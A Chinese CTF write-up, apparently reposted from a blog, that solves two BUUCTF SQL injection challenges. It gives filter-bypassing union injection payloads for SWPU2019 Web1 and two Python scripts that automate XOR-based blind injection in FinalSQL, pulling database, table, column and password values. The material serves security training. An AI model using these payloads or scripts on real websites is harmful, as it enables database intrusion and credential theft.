[BT]BUUCTF刷题第24天(4.27)

2024-04-28 07:20
文章标签 buuctf 4.27 刷题 24 bt

本文主要是介绍[BT]BUUCTF刷题第24天(4.27),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

第24天(共2题)

Web

[SWPU2019]Web1

在这里插入图片描述

首页是一个登录网页,这里目前的登录框是没有发现SQL漏洞的,因此先尝试注册个账号

但是要注意admin这个账号被注册过了,我们是无法注册的,只能随便注册其他的账号

在这里插入图片描述

然后用注册好的账号登陆进来可以看到申请发布广告的选择,我们发一条1'

在这里插入图片描述
可以看到成功发布了,点击广告详情

在这里插入图片描述

说明这里是存在SQL注入漏洞的

通过测试,or空格#等都被过滤了

这里给出解决方案:

order by 用 group by 代替

空格 用 /**/ 代替

# 用 ,'数字 代替

接下来第一步就是查看列数:

1' order by 22#

替换后

1'/**/group/**/by/**/22,'3

此时正常回显,但是列数为23时返回:

在这里插入图片描述

说明只有22列,接下来是看回显点在哪里:

-1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

替换后

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

在这里插入图片描述

回显点是23

由于information_schema.tables含有or字样被过滤了,所以这里要使用mysql.innodb_table_stats替代,但是因为这个表查不了列名,所以要用到新的知识点:无列名注入

先来查一下表名:

-1' union select 1,(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

将当前库下所有表名拼接后在回显点2显示
替换后

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

在这里插入图片描述

得到两个表:adsusers

接下来取值

-1' union select 1,(select group_concat(b) from (select 1,2,3 as b union select * from users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

这里着重讲一下中间部分:

(select group_concat(b) from (select 1,2,3 as b union select * from users)a)

首先(select 1,2,3 as b union select * from users)a

意思是查询1,2,3后联合查询users表里的所有列内容,将两者拼接在一起返回一个别名为a的新表(同时将第3列也设置别名为b,因为如果直接用3来得到第3列的数据的话需要把3用反引号括起来,但是反引号也过滤了,用字母就不需要反引号)

也就是会返回一个列名分别是1,2,3(就相当于给users表设置了新的数字列名)
然后第一行数据也是1,2,3
但是后面跟着的所有行都是users表对应的内容了

然后我们就可以用这个数字列名获取对应列的数据了

那为什么知道users表里有3列呢,用下面这个判断(有个1就有几列)

-1'/**/union/**/select/**/1,(select/**/group_concat(1)/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

替换后

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

成功拿到flag

在这里插入图片描述

[极客大挑战 2019]FinalSQL

在这里插入图片描述
网站上分别有5个按钮,前面四个都说flag不在那,第五个显示:

在这里插入图片描述

并且注意到URL中的id随按钮点击而变化,目前值是5

id设为6显示:

在这里插入图片描述
id设为07及以上的数字都显示:

在这里插入图片描述

因此这里可以用到异或盲注,也就是:

1^0 = 1
1^1	= 0

也就是

1^(true) = 0		ERROR!!!
1^(false) = 1		NO! Not this! Click others~~~

然后就可以用类似这样的语句获取信息

?id=1^(length(database())); 

根据异或值:

1^0	1
1^1	0
1^2 3
1^3	2
1^4	5
1^5 4
1^6 7
1^7 6

以及每个页面对应的返回内容判断异或右边的值,比如上面那句返回的是

在这里插入图片描述

说明数据库名字是4位(因为这个页面是id=5出现的)

同理,就可以得到对应的表名、列名以及它们具体的内容了(通过一个个遍历)

这里给出一个相对完善但耗时的大佬的代码:

import requests,re,time
# 火狐浏览器UA
data = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0"
}# 错误提示集--短集合
arr = ['NO!','yingyingying','Ohhh','OK OK I','You are','Clever!']# 专门搞传输的模块
def get_url(url,data):req = requests.get(url, headers=data)html_content = req.text# 正则表达式pattern = r"<h1.*?>(.*?)</h1>"matches = re.findall(pattern, html_content)return matches# ascii码的碰撞单元
def ascii_get(url,url_edit,num,s):stt = """ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz[\]^_`{|}~ !"#$%&'()*+,-./0123456789:;<=>?@"""for i in stt:time.sleep(0.1)urls = url + url_edit.format(num + 1, ord(i))matches = get_url(urls, data)# print(matches,num+1,i,urls)try:if matches == []:continueif 'ERROR' in matches[0]:s += i# print(s)breakif '414 Request-URI Too Large' in matches[0]:# print(n, i, strs, urls)print(url)except:passreturn sdef get_data_len(url,data,url_edit,n=1):urls = url+url_editvalue = get_url(urls,data)if n==1:for i in arr:if i in value[0]:return arr.index(i)return valueelif n==2:passdef get_data_name(url,url_edit,n,data_name_input):urls = ''data_name = ''# 根据获取的数据库名字的长度输出数据库名字s = ''stt = """ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz[\]^_`{|}~ !"#$%&'()*+,-./0123456789:;<=>?@"""# for循环读取数据库库名for num in range(n):original = ss = ascii_get(url,url_edit,num,s)print('{}:'.format(data_name_input),s)if s == original:breakreturn sdef get_flag(flag_str):regular_expression = '.*?flag{(.*?)}.*?'matches = re.findall(regular_expression, flag_str)[0]print('你需要的flag为:flag{'+matches+"}")def url_edit(url):if url[-1] == '/':return url[:-1]return urlif __name__ == '__main__':url = input('请输入一个合法的url(不需要带参数,形如:http://xxx.xxx.xxx:81)\n不正确运行出错就是你自己的事情喽:\n')url = url_edit(url)# 获取当前数据库的名字的长度url_edit = '/search.php?id=1^(length(database()));'data_len = get_data_len(url,data,url_edit)print('数据库名字的长度:',data_len)if data_len == ['404']:print('你的靶场已关闭,状态码:404')exit()# 获取当前数据库名url_edit = '/search.php?id=1^(ord(SUBSTRING(database(),{},1))={});'data_name = get_data_name(url,url_edit,data_len,'数据库名')# 根据数据库爆表print('即将爆破出数据库'+data_name+'的表:')url_edit = '/search.php?id=1^((SELECT(ord(SUBSTRING(GROUP_CONCAT(table_name),{},1)))FROM(information_schema.tables)where(table_schema=database()))={});'table_name = get_data_name(url,url_edit,1000,'表名').split(',')# 爆列名print('即将爆破的表:',table_name[0])url_edit = '/search.php?id=1^((SELECT(ord(SUBSTRING(GROUP_CONCAT(column_name),{},1)))FROM(information_schema.columns)where(table_name="'+table_name[0]+'"))={});'column_name = get_data_name(url,url_edit,1000,'列名').split(',')# 爆值print('即将被爆破的列:',column_name[-1])table_names = data_name + '.' + table_name[0]url_edit = '/search.php?id=1^((select(ord(SUBSTRING(GROUP_CONCAT('+ column_name[-1] +'),{},1)))from('+table_names+'))={});'list_val = get_data_name(url,url_edit,1000,'列值')get_flag(list_val)

可以用这个代码获取表名、列名等数据后用下面的代码获取列里的具体值(因为上面这段代码获取具体值比较耗时):

import requestsurl = "http://6505d1c1-e5db-4926-90ac-6999ce62fbdf.node5.buuoj.cn:81/search.php"
flag = ''def payload(i, j):sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)data = {"id": sql}r = requests.get(url, params=data)# print (r.url)if "Click" in r.text:res = 1else:res = 0return resdef exp():global flagfor i in range(1, 10000):print(i, ':')low = 31high = 127while low <= high:mid = (low + high) // 2res = payload(i, mid)if res:low = mid + 1else:high = mid - 1f = int((low + high + 1)) // 2if (f == 127 or f == 31):break# print (f)flag += chr(f)print(flag)
exp()
print('flag=', flag)

成功拿到flag

在这里插入图片描述

这篇关于[BT]BUUCTF刷题第24天(4.27)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/942629

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

BUUCTF(34)特殊的 BASE64

使用pycharm时,如果想把代码撤销到之前的状态可以用 Ctrl+z 如果不小心撤销多了,可以用 Ctrl+Shift+Z 还原, 别傻傻的重新敲了 BUUCTF在线评测 (buuoj.cn) 查看字符串,想到base64的变表 这里用的c++的标准程序库中的string,头文件是#include<string> 这是base64的加密函数 std::string

【每日刷题】Day113

【每日刷题】Day113 🥕个人主页:开敲🍉 🔥所属专栏:每日刷题🍍 🌼文章目录🌼 1. 91. 解码方法 - 力扣(LeetCode) 2. LCR 098. 不同路径 - 力扣(LeetCode) 3. 63. 不同路径 II - 力扣(LeetCode) 1. 91. 解码方法 - 力扣(LeetCode) //思路:动态规划。 cl

BT天堂网站挂马事件后续:“大灰狼”远控木马分析及幕后真凶调查

9月初安全团队披露bt天堂网站挂马事件,该网站被利用IE神洞CVE-2014-6332挂马,如果用户没有打补丁或开启安全软件防护,电脑会自动下载执行大灰狼远控木马程序。 鉴于bt天堂电影下载网站访问量巨大,此次挂马事件受害者甚众,安全团队专门针对该木马进行严密监控,并对其幕后真凶进行了深入调查。 一、“大灰狼”的伪装 以下是10月30日一天内大灰狼远控的木马样本截图,可以看到该木马变种数量不

Science|癌症中三级淋巴结构的免疫调节作用与治疗潜力|顶刊精析·24-09-08

小罗碎碎念 Science文献精析 今天精析的这一篇综述,于2022-01-07发表于Science,主要讨论了癌症中的三级淋巴结构(Tertiary Lymphoid Structures, TLS)及其在肿瘤免疫反应中的作用。 作者类型作者姓名单位名称(中文)通讯作者介绍第一作者Ton N. Schumacher荷兰癌症研究所通讯作者之一通讯作者Daniela S. Thomm

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

hot100刷题第1-9题,三个专题哈希,双指针,滑动窗口

求满足条件的子数组,一般是前缀和、滑动窗口,经常结合哈希表; 区间操作元素,一般是前缀和、差分数组 数组有序,更大概率会用到二分搜索 目前已经掌握一些基本套路,重零刷起leetcode hot 100, 套路题按套路来,非套路题适当参考gpt解法。 一、梦开始的地方, 两数之和 class Solution:#注意要返回的是数组下标def twoSum(self, nums: Lis

代码随想录刷题day25丨491.递增子序列 ,46.全排列 ,47.全排列 II

代码随想录刷题day25丨491.递增子序列 ,46.全排列 ,47.全排列 II 1.题目 1.1递增子序列 题目链接:491. 非递减子序列 - 力扣(LeetCode) 视频讲解:回溯算法精讲,树层去重与树枝去重 | LeetCode:491.递增子序列_哔哩哔哩_bilibili 文档讲解:https://programmercarl.com/0491.%E9%80%92%E

SIGMOD-24概览Part7: Industry Session (Graph Data Management)

👇BG3: A Cost Effective and I/O Efficient Graph Database in ByteDance 🏛机构:字节 ➡️领域: Information systems → Data management systemsStorage management 📚摘要:介绍了字节新提出的ByteGraph 3.0(BG3)模型,用来处理大规模图结构数据 背景

代码随想录刷题day24丨93.复原IP地址 ,78.子集 , 90.子集II

代码随想录刷题day24丨93.复原IP地址 ,78.子集 , 90.子集II 1.题目 1.1复原IP地址 题目链接:93. 复原 IP 地址 - 力扣(LeetCode) 视频讲解:回溯算法如何分割字符串并判断是合法IP?| LeetCode:93.复原IP地址_哔哩哔哩_bilibili 文档讲解:https://programmercarl.com/0093.%E5%A4%8